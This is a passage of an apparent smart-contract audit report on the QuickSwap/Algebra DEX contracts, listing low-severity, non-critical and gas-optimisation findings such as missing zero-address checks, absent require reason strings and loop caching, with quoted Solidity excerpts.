    if (paid1 > 0) {
      uint8 _communityFeeToken1 = globalState.communityFeeToken1;
      uint256 fees1;
      if (_communityFeeToken1 > 0) {
        fees1 = (paid1 * _communityFeeToken1) / Constants.COMMUNITY_FEE_DENOMINATOR;
        TransferHelper.safeTransfer(token1, vault, fees1);
      }
      totalFeeGrowth1Token += FullMath.mulDiv(paid1 - fees1, Constants.Q128, _liquidity);
    }

    emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1);
  }

[L-03] MISSING address(0) CHECKS FOR CRITICAL ADDRESS INPUTS

To prevent unintended behaviors, critical address inputs should be checked against address(0).

Please consider checking _poolDeployer and _vaultAddress in the following constructor. https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraFactory.sol#L50-L56

  constructor(address _poolDeployer, address _vaultAddress) {
    owner = msg.sender;
    emit Owner(msg.sender);

    poolDeployer = _poolDeployer;
    vaultAddress = _vaultAddress;
  }

Please consider checking _owner in the following function. https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraFactory.sol#L77-L81

  function setOwner(address _owner) external override onlyOwner {
    require(owner != _owner);
    emit Owner(_owner);
    owner = _owner;
  }

Please consider checking _farmingAddress in the following function. https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraFactory.sol#L84-L88

  function setFarmingAddress(address _farmingAddress) external override onlyOwner {
    require(farmingAddress != _farmingAddress);
    emit FarmingAddress(_farmingAddress);
    farmingAddress = _farmingAddress;
  }

Please consider checking _vaultAddress in the following function. https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraFactory.sol#L91-L95

  function setVaultAddress(address _vaultAddress) external override onlyOwner {
    require(vaultAddress != _vaultAddress);
    emit VaultAddress(_vaultAddress);
    vaultAddress = _vaultAddress;
  }

Please consider checking virtualPoolAddress in the following function. https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L959-L964

  function setIncentive(address virtualPoolAddress) external override {
    require(msg.sender == IAlgebraFactory(factory).farmingAddress());
    activeIncentive = virtualPoolAddress;

    emit Incentive(virtualPoolAddress);
  }

Please consider checking _pool in the following constructor. https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/DataStorageOperator.sol#L31-L34

  constructor(address _pool) {
    factory = msg.sender;
    pool = _pool;
  }

[N-01] SOME FUNCTIONS' INPUT VARIABLE NAMES IN AlgebraPool CONTRACT DO NOT MATCH THESE IN IAlgebraPoolActions INTERFACE

Some functions' input variable names in the AlgebraPool contract do not match these in the IAlgebraPoolActions interface. For better readability and maintainability, please consider using the same variable names for these function inputs in both the contract and interface.

liquidityDesired in the contract is named as amount in the interface for the following mint function.

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L416-L423

  function mint(
    address sender,
    address recipient,
    int24 bottomTick,
    int24 topTick,
    uint128 liquidityDesired,
    bytes calldata data
  )

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/interfaces/pool/IAlgebraPoolActions.sol#L30-L37

  function mint(
    address sender,
    address recipient,
    int24 bottomTick,
    int24 topTick,
    uint128 amount,
    bytes calldata data
  )

amountRequired in the contract is named as amountSpecified in the interface for the following swap function.

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L589-L595

  function swap(
    address recipient,
    bool zeroToOne,
    int256 amountRequired,
    uint160 limitSqrtPrice,
    bytes calldata data
  ) external override returns (int256 amount0, int256 amount1) {

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/interfaces/pool/IAlgebraPoolActions.sol#L96-L102

  function swap(
    address recipient,
    bool zeroToOne,
    int256 amountSpecified,
    uint160 limitSqrtPrice,
    bytes calldata data
  ) external returns (int256 amount0, int256 amount1);

amountRequired in the contract is named as amountSpecified in the interface for the following swapSupportingFeeOnInputTokens function.

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L626-L633

  function swapSupportingFeeOnInputTokens(
    address sender,
    address recipient,
    bool zeroToOne,
    int256 amountRequired,
    uint160 limitSqrtPrice,
    bytes calldata data
  ) external override returns (int256 amount0, int256 amount1) {

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/interfaces/pool/IAlgebraPoolActions.sol#L118-L125

  function swapSupportingFeeOnInputTokens(
    address sender,
    address recipient,
    bool zeroToOne,
    int256 amountSpecified,
    uint160 limitSqrtPrice,
    bytes calldata data
  ) external returns (int256 amount0, int256 amount1);

[N-02] SOME require STATEMENTS DO NOT HAVE REASON STRINGS

Some require statements do not have reason strings. To be more descriptive, please consider adding reason strings for the following require statements.

core\contracts\AlgebraFactory.sol
  60: require(tokenA != tokenB); 
  78: require(owner != _owner); 
  85: require(farmingAddress != _farmingAddress); 
  92: require(vaultAddress != _vaultAddress); 

core\contracts\AlgebraPool.sol
  55: require(msg.sender == IAlgebraFactory(factory).owner()); 
  122: require(_lower.initialized); 
  134: require(_upper.initialized); 
  229: require((_blockTimestamp() - lastLiquidityAddTimestamp) >= _liquidityCooldown); 
  953: require((communityFee0 <= Constants.MAX_COMMUNITY_FEE) && (communityFee1 <= Constants.MAX_COMMUNITY_FEE)); 
  960: require(msg.sender == IAlgebraFactory(factory).farmingAddress()); 
  968: require(newLiquidityCooldown <= Constants.MAX_LIQUIDITY_COOLDOWN && liquidityCooldown != newLiquidityCooldown); 

core\contracts\libraries\DataStorage.sol
  369: require(!self[0].initialized);

[N-03] CONSTANTS CAN BE USED INSTEAD OF MAGIC NUMBERS

To improve readability and maintainability, constants can be used instead of magic numbers. Please consider replacing 1e6 in the following code with constants.

core\contracts\AlgebraPool.sol
  905: fee0 = FullMath.mulDivRoundingUp(amount0, _fee, 1e6); 
  912: fee1 = FullMath.mulDivRoundingUp(amount1, _fee, 1e6); 

core\contracts\libraries\PriceMovementMath.sol
  157: uint256 amountAvailableAfterFee = FullMath.mulDiv(uint256(amountAvailable), 1e6 - fee, 1e6); 
  161: feeAmount = FullMath.mulDivRoundingUp(input, fee, 1e6 - fee); 
  170: feeAmount = FullMath.mulDivRoundingUp(input, fee, 1e6 - fee); 
  195: feeAmount = FullMath.mulDivRoundingUp(input, fee, 1e6 - fee); 

[N-04] MISSING NATSPEC COMMENTS

NatSpec comments provide rich code documentation. NatSpec comments are missing for the following functions. Please consider adding them.

core\contracts\AlgebraPool.sol
  70: function balanceToken0() private view returns (uint256) { 
  74: function balanceToken1() private view returns (uint256) { 
  366: function _getAmountsForLiquidity( 
  546: function _payCommunityFee(address token, uint256 amount) private {
  551: function _writeTimepoint( 
  561: function _getSingleTimepoint( 
  580: function _swapCallback(

[N-05] INCOMPLETE NATSPEC COMMENTS

NatSpec comments provide rich code documentation. @param and/or @return comments are missing for the following functions. Please consider completing NatSpec comments for them.

core\contracts\AlgebraPool.sol
  274: function _updatePositionTicksAndFees(
  536: function _getNewFee(
  703: function _calculateSwapAndLock(

[N-06] OLD SOLIDITY VERSION IS USED

Using a newer version of Solidity can benefit from new features and bug fixes. Please consider using a newer Solidity version for the following contracts.

core\contracts\AlgebraFactory.sol
  2: pragma solidity =0.7.6;

core\contracts\AlgebraPool.sol
  2: pragma solidity =0.7.6;

core\contracts\AlgebraPoolDeployer.sol
  2: pragma solidity =0.7.6;

core\contracts\DataStorageOperator.sol
  2: pragma solidity =0.7.6;

core\contracts\base\PoolImmutables.sol
  2: pragma solidity =0.7.6;

core\contracts\base\PoolState.sol
  2: pragma solidity =0.7.6;

[G-01] STATE VARIABLES THAT ARE ACCESSED FOR MULTIPLE TIMES CAN BE CACHED IN MEMORY

A state variable that is accessed for multiple times can be cached in memory, and the cached variable value can then be used. This can replace multiple sload operations with one sload, one mstore, and multiple mload operations to save gas.

In the following swap function, token0 and token1 can be cached, and the cached values can then be used. https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L589-L623

  function swap(
    address recipient,
    bool zeroToOne,
    int256 amountRequired,
    uint160 limitSqrtPrice,
    bytes calldata data
  ) external override returns (int256 amount0, int256 amount1) {
    ...

    if (zeroToOne) {
      if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1)); // transfer to recipient

      uint256 balance0Before = balanceToken0();
      _swapCallback(amount0, amount1, data); // callback to get tokens from the caller
      require(balance0Before.add(uint256(amount0)) <= balanceToken0(), 'IIA');
    } else {
      if (amount0 < 0) TransferHelper.safeTransfer(token0, recipient, uint256(-amount0)); // transfer to recipient

      uint256 balance1Before = balanceToken1();
      _swapCallback(amount0, amount1, data); // callback to get tokens from the caller
      require(balance1Before.add(uint256(amount1)) <= balanceToken1(), 'IIA');
    }

    if (communityFee > 0) {
      _payCommunityFee(zeroToOne ? token0 : token1, communityFee);
    }

    ...
  }

In the following swapSupportingFeeOnInputTokens function, token0 and token1 can be cached, and the cached values can then be used. https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L626-L673

function swapSupportingFeeOnInputTokens(
    address sender,
    address recipient,
    bool zeroToOne,
    int256 amountRequired,
    uint160 limitSqrtPrice,
    bytes calldata data
  ) external override returns (int256 amount0, int256 amount1) {
    ...

    // only transfer to the recipient
    if (zeroToOne) {
      if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1));
      // return the leftovers
      if (amount0 < amountRequired) TransferHelper.safeTransfer(token0, sender, uint256(amountRequired.sub(amount0)));
    } else {
      if (amount0 < 0) TransferHelper.safeTransfer(token0, recipient, uint256(-amount0));
      // return the leftovers
      if (amount1 < amountRequired) TransferHelper.safeTransfer(token1, sender, uint256(amountRequired.sub(amount1)));
    }

    if (communityFee > 0) {
      _payCommunityFee(zeroToOne ? token0 : token1, communityFee);
    }

    ...
  }

In the following _calculateSwapAndLock function, activeIncentive can be cached, and the cached value can then be used. https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L703-L888

function _calculateSwapAndLock(
    bool zeroToOne,
    int256 amountRequired,
    uint160 limitSqrtPrice
  )
    private
    returns (
      int256 amount0,
      int256 amount1,
      uint160 currentPrice,
      int24 currentTick,
      uint128 currentLiquidity,
      uint256 communityFeeAmount
    )
  {
    ...
    {
      ...

      if (activeIncentive != address(0)) {
        IAlgebraVirtualPool.Status _status = IAlgebraVirtualPool(activeIncentive).increaseCumulative(blockTimestamp);
        ...
      }

      ...
    }

    ...
  }

In the following flash function, token0 and token1 can be cached, and the cached values can then be used. https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L891-L949

  function flash(
    address recipient,
    uint256 amount0,
    uint256 amount1,
    bytes calldata data
  ) external override lock {
    ...
    if (amount0 > 0) {
      fee0 = FullMath.mulDivRoundingUp(amount0, _fee, 1e6);
      TransferHelper.safeTransfer(token0, recipient, amount0);
    }

    uint256 fee1;
    uint256 balance1Before = balanceToken1();
    if (amount1 > 0) {
      fee1 = FullMath.mulDivRoundingUp(amount1, _fee, 1e6);
      TransferHelper.safeTransfer(token1, recipient, amount1);
    }

    ...

    if (paid0 > 0) {
      uint8 _communityFeeToken0 = globalState.communityFeeToken0;
      uint256 fees0;
      if (_communityFeeToken0 > 0) {
        fees0 = (paid0 * _communityFeeToken0) / Constants.COMMUNITY_FEE_DENOMINATOR;
        TransferHelper.safeTransfer(token0, vault, fees0);
      }
      totalFeeGrowth0Token += FullMath.mulDiv(paid0 - fees0, Constants.Q128, _liquidity);
    }

    uint256 paid1 = balanceToken1();
    require(balance1Before.add(fee1) <= paid1, 'F1');
    paid1 -= balance1Before;

    if (paid1 > 0) {
      uint8 _communityFeeToken1 = globalState.communityFeeToken1;
      uint256 fees1;
      if (_communityFeeToken1 > 0) {
        fees1 = (paid1 * _communityFeeToken1) / Constants.COMMUNITY_FEE_DENOMINATOR;
        TransferHelper.safeTransfer(token1, vault, fees1);
      }
      totalFeeGrowth1Token += FullMath.mulDiv(paid1 - fees1, Constants.Q128, _liquidity);
    }

    ...
  }

[G-02] UNUSED NAMED RETURNS COST UNNECESSARY DEPLOYMENT GAS

When a function has unused named returns, unnecessary deployment gas is used. Please consider removing the named return variables in the following functions.

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L551-L559

  function _writeTimepoint(
    uint16 timepointIndex,
    uint32 blockTimestamp,
    int24 tick,
    uint128 liquidity,
    uint128 volumePerLiquidityInBlock
  ) private returns (uint16 newTimepointIndex) {
    return IDataStorageOperator(dataStorageOperator).write(timepointIndex, blockTimestamp, tick, liquidity, volumePerLiquidityInBlock);
  }

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L561-L578

  function _getSingleTimepoint(
    uint32 blockTimestamp,
    uint32 secondsAgo,
    int24 startTick,
    uint16 timepointIndex,
    uint128 liquidityStart
  )
    private
    view
    returns (
      int56 tickCumulative,
      uint160 secondsPerLiquidityCumulative,
      uint112 volatilityCumulative,
      uint256 volumePerAvgLiquidity
    )
  {
    return IDataStorageOperator(dataStorageOperator).getSingleTimepoint(blockTimestamp, secondsAgo, startTick, timepointIndex, liquidityStart);
  }

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/libraries/DataStorage.sol#L205-L263

  function getSingleTimepoint(
    Timepoint[UINT16_MODULO] storage self,
    uint32 time,
    uint32 secondsAgo,
    int24 tick,
    uint16 index,
    uint16 oldestIndex,
    uint128 liquidity
  ) internal view returns (Timepoint memory targetTimepoint) {
    ...
    (Timepoint memory beforeOrAt, Timepoint memory atOrAfter) = binarySearch(self, time, target, index, oldestIndex);

    if (target == atOrAfter.blockTimestamp) {
      return atOrAfter; // we're at the right boundary
    }

    if (target != beforeOrAt.blockTimestamp) {
      // we're in the middle
      uint32 timepointTimeDelta = atOrAfter.blockTimestamp - beforeOrAt.blockTimestamp;
      uint32 targetDelta = target - beforeOrAt.blockTimestamp;

      // For gas savings the resulting point is written to beforeAt
      beforeOrAt.tickCumulative += ((atOrAfter.tickCumulative - beforeOrAt.tickCumulative) / timepointTimeDelta) * targetDelta;
      beforeOrAt.secondsPerLiquidityCumulative += uint160(
        (uint256(atOrAfter.secondsPerLiquidityCumulative - beforeOrAt.secondsPerLiquidityCumulative) * targetDelta) / timepointTimeDelta
      );
      beforeOrAt.volatilityCumulative += ((atOrAfter.volatilityCumulative - beforeOrAt.volatilityCumulative) / timepointTimeDelta) * targetDelta;
      beforeOrAt.volumePerLiquidityCumulative +=
        ((atOrAfter.volumePerLiquidityCumulative - beforeOrAt.volumePerLiquidityCumulative) / timepointTimeDelta) *
        targetDelta;
    }

    // we're at the left boundary or at the middle
    return beforeOrAt;
  }

[G-03] ARRAY LENGTH CAN BE CACHED OUTSIDE OF LOOP

Caching the array length outside of the loop and using the cached length in the loop costs less gas than reading the array length for each iteration. For example, secondsAgos.length in the following code can be cached outside of the loop like uint256 secondsAgosLength = secondsAgos.length, and i < secondsAgosLength can be used for each iteration.

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/libraries/DataStorage.sol#L307-L315

    for (uint256 i = 0; i < secondsAgos.length; i++) {
      current = getSingleTimepoint(self, time, secondsAgos[i], tick, index, oldestIndex, liquidity);
      (tickCumulatives[i], secondsPerLiquidityCumulatives[i], volatilityCumulatives[i], volumePerAvgLiquiditys[i]) = (
        current.tickCumulative,
        current.secondsPerLiquidityCumulative,
        current.volatilityCumulative,
        current.volumePerLiquidityCumulative
      );
    }

[G-04] VARIABLE DOES NOT NEED TO BE INITIALIZED TO ITS DEFAULT VALUE

Explicitly initializing a variable with its default value costs more gas than uninitializing it. For example, uint256 i can be used instead of uint256 i = 0 in the following code.

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/libraries/DataStorage.sol#L307-L315

    for (uint256 i = 0; i < secondsAgos.length; i++) {
      current = getSingleTimepoint(self, time, secondsAgos[i], tick, index, oldestIndex, liquidity);
      (tickCumulatives[i], secondsPerLiquidityCumulatives[i], volatilityCumulatives[i], volumePerAvgLiquiditys[i]) = (
        current.tickCumulative,
        current.secondsPerLiquidityCumulative,
        current.volatilityCumulative,
        current.volumePerLiquidityCumulative
      );
    }

[G-05] ++VARIABLE CAN BE USED INSTEAD OF VARIABLE++

++variable costs less gas than variable++. For example, i++ can be changed to ++i in the following code.

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/libraries/DataStorage.sol#L307-L315

    for (uint256 i = 0; i < secondsAgos.length; i++) {
      current = getSingleTimepoint(self, time, secondsAgos[i], tick, index, oldestIndex, liquidity);
      (tickCumulatives[i], secondsPerLiquidityCumulatives[i], volatilityCumulatives[i], volumePerAvgLiquiditys[i]) = (
        current.tickCumulative,
        current.secondsPerLiquidityCumulative,
        current.volatilityCumulative,
        current.volumePerLiquidityCumulative
      );
    }

[G-06] X = X + Y OR X = X - Y CAN BE USED INSTEAD OF X += Y OR X -= Y

x = x + y or x = x - y costs less gas than x += y or x -= y. For example, tick += 1 can be changed to tick = tick + 1 in the following code.

core\contracts\AlgebraPool.sol
  257: _position.fees0 += fees0;
  258: _position.fees1 += fees1;
  801: amountRequired -= (step.input + step.feeAmount).toInt256(); // decrease remaining input amount
  804: amountRequired += step.output.toInt256(); // increase remaining output amount (since its negative)
  810: step.feeAmount -= delta;
  811: communityFeeAmount += delta;
  814: if (currentLiquidity > 0) cache.totalFeeGrowth += FullMath.mulDiv(step.feeAmount, Constants.Q128, currentLiquidity);
  922: paid0 -= balance0Before;
  931: totalFeeGrowth0Token += FullMath.mulDiv(paid0 - fees0, Constants.Q128, _liquidity);
  936: paid1 -= balance1Before;
  945: totalFeeGrowth1Token += FullMath.mulDiv(paid1 - fees1, Constants.Q128, _liquidity);

core\contracts\libraries\AdaptiveFee.sol
  84: res += xLowestDegree * gHighestDegree;
  88: res += (xLowestDegree * gHighestDegree) / 2;
  92: res += (xLowestDegree * gHighestDegree) / 6;
  96: res += (xLowestDegree * gHighestDegree) / 24;
  100: res += (xLowestDegree * gHighestDegree) / 120;
  104: res += (xLowestDegree * gHighestDegree) / 720;
  107: res += (xLowestDegree * g) / 5040 + (xLowestDegree * x) / (40320);

core\contracts\libraries\DataStorage.sol
  79: last.tickCumulative += int56(tick) * delta;
  80: last.secondsPerLiquidityCumulative += ((uint160(delta) << 128) / (liquidity > 0 ? liquidity : 1)); // just timedelta if liquidity == 0
  81: last.volatilityCumulative += uint88(_volatilityOnRange(delta, prevTick, tick, last.averageTick, averageTick)); // always fits 88 bits
  83: last.volumePerLiquidityCumulative += volumePerLiquidity;
  119: index -= 1; // considering underflow
  251: beforeOrAt.tickCumulative += ((atOrAfter.tickCumulative - beforeOrAt.tickCumulative) / timepointTimeDelta) * targetDelta;
  252: beforeOrAt.secondsPerLiquidityCumulative += uint160(
  255: beforeOrAt.volatilityCumulative += ((atOrAfter.volatilityCumulative - beforeOrAt.volatilityCumulative) / timepointTimeDelta) * targetDelta;
  256: beforeOrAt.volumePerLiquidityCumulative +=

core\contracts\libraries\TickManager.sol
  58: innerFeeGrowth0Token -= upper.outerFeeGrowth0Token;
  59: innerFeeGrowth1Token -= upper.outerFeeGrowth1Token;

core\contracts\libraries\TickTable.sol
  92: tick -= int24(255 - getMostSignificantBit(_row));
  95: tick -= int24(bitNumber);
  100: tick += 1;
  112: tick += int24(getSingleSignificantBit(-_row & _row)); // least significant bit
  115: tick += int24(255 - bitNumber);

[G-07] NEWER VERSION OF SOLIDITY CAN BE USED

The protocol can benefit from more gas-efficient features, such as custom errors starting from Solidity v0.8.4, by using a newer version of Solidity. For the following contracts, please consider using a newer Solidity version.

core\contracts\AlgebraFactory.sol
  2: pragma solidity =0.7.6; 

core\contracts\AlgebraPool.sol
  2: pragma solidity =0.7.6; 

core\contracts\AlgebraPoolDeployer.sol
  2: pragma solidity =0.7.6; 

core\contracts\DataStorageOperator.sol
  2: pragma solidity =0.7.6; 

core\contracts\base\PoolImmutables.sol
  2: pragma solidity =0.7.6; 

core\contracts\base\PoolState.sol
  2: pragma solidity =0.7.6;